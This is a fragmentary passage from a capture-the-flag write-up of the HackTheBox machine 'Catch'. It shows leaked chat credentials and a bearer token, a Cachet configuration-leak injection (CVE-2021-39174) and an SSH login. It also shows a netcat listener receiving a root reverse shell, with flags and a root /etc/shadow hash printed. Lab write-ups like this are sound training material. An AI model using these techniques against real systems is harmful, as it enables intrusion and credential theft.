GET /rooms/61b86b28d984e2451036eb17/messages HTTP/1.1 Host: status.catch.htb:5000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Authorization: bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ== Upgrade-Insecure-Requests: 1 If-None-Match: W/"a43-L5etm76UD8Y2ShJ4BslZfIAtBQk"
and we got a username, and password as well
1
{"id":"61b8702dfe190b466d476bfa","text":"Here are the credentials `john : E}V!mywu_69T4C}W`","posted":"2021-12-14T10:21:33.859Z","owner":"61b86f15fe190b466d476bf5","room":"61b86b28d984e2451036eb17"},
we use this credentials to login on port 8000
we are in, and notice it’s a Cachet server, let’s google some exploits, and we found:
Cachet 2.4: Code Execution via Laravel Configuration Injection
let’s see CVE-2021-39174 - Configuration Leak part in this article, and we can leak some env variable by using ${}:
try ${DB_USERNAME} first, what you need to do is, intercept the request when changing the mail settings, than edit the mail host to ${DB_USERNAME} or any other variable from the env file, then hit test and check logs
┌──(root💀kali)-[~/hackthebox/machine/catch] └─# ssh will@10.10.11.150 will@10.10.11.150's password: Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-104-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Wed 23 Mar 2022 05:42:56 AM UTC System load: 0.0 Usage of /: 78.5% of 16.61GB Memory usage: 75% Swap usage: 61% Processes: 458 Users logged in: 0 IPv4 address for br-535b7cf3a728: 172.18.0.1 IPv4 address for br-fe1b5695b604: 172.19.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for eth0: 10.10.11.150 IPv6 address for eth0: dead:beef::250:56ff:feb9:7c11 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Tue Mar 22 19:47:45 2022 from 10.10.14.3 will@catch:~$ id uid=1000(will) gid=1000(will) groups=1000(will) will@catch:~$ whoami will will@catch:~$ cat user.txt 79cad4e9915944ef86015a5f809b272d
and we get user flag
get root
i have used LinEnum.sh linpeas.sh and Linux_Exploit_Suggester.sh but didn’t find any thing useful to exploit
┌──(root💀kali)-[~/hackthebox/machine/catch] └─# nc -lvp 1234 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234 Ncat: Connection from 10.10.11.150. Ncat: Connection from 10.10.11.150:44648. bash: cannot set terminal process group (1154503): Inappropriate ioctl for device bash: no job control in this shell root@catch:~# id id uid=0(root) gid=0(root) groups=0(root) root@catch:~# whoami whoami root root@catch:~# cat /root/root.txt cat /root/root.txt 6e42a8f7d76919e29557f3f0c8ff458a root@catch:~# cat /etc/shadow | grep root cat /etc/shadow | grep root root:$6$HJWtdM63SqnL6alL$h/FUZ0TNaCCrCgEzeuT9ityQcDmYcMCA0fErrvkZVBmf0TQJntGSRMDo.AXZA9V00.qAsZ04554.dUJcFszUM1:18976:0:99999:7:::
Summary of knowledge
Let’s Chat api enumeraton
apk decompile to leak Let’s Chat api token
CVE-2021-39174 - Configuration Leak env db username and password
privesc through suid sh scripts
apk recompile insert revshell command to get RCE
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…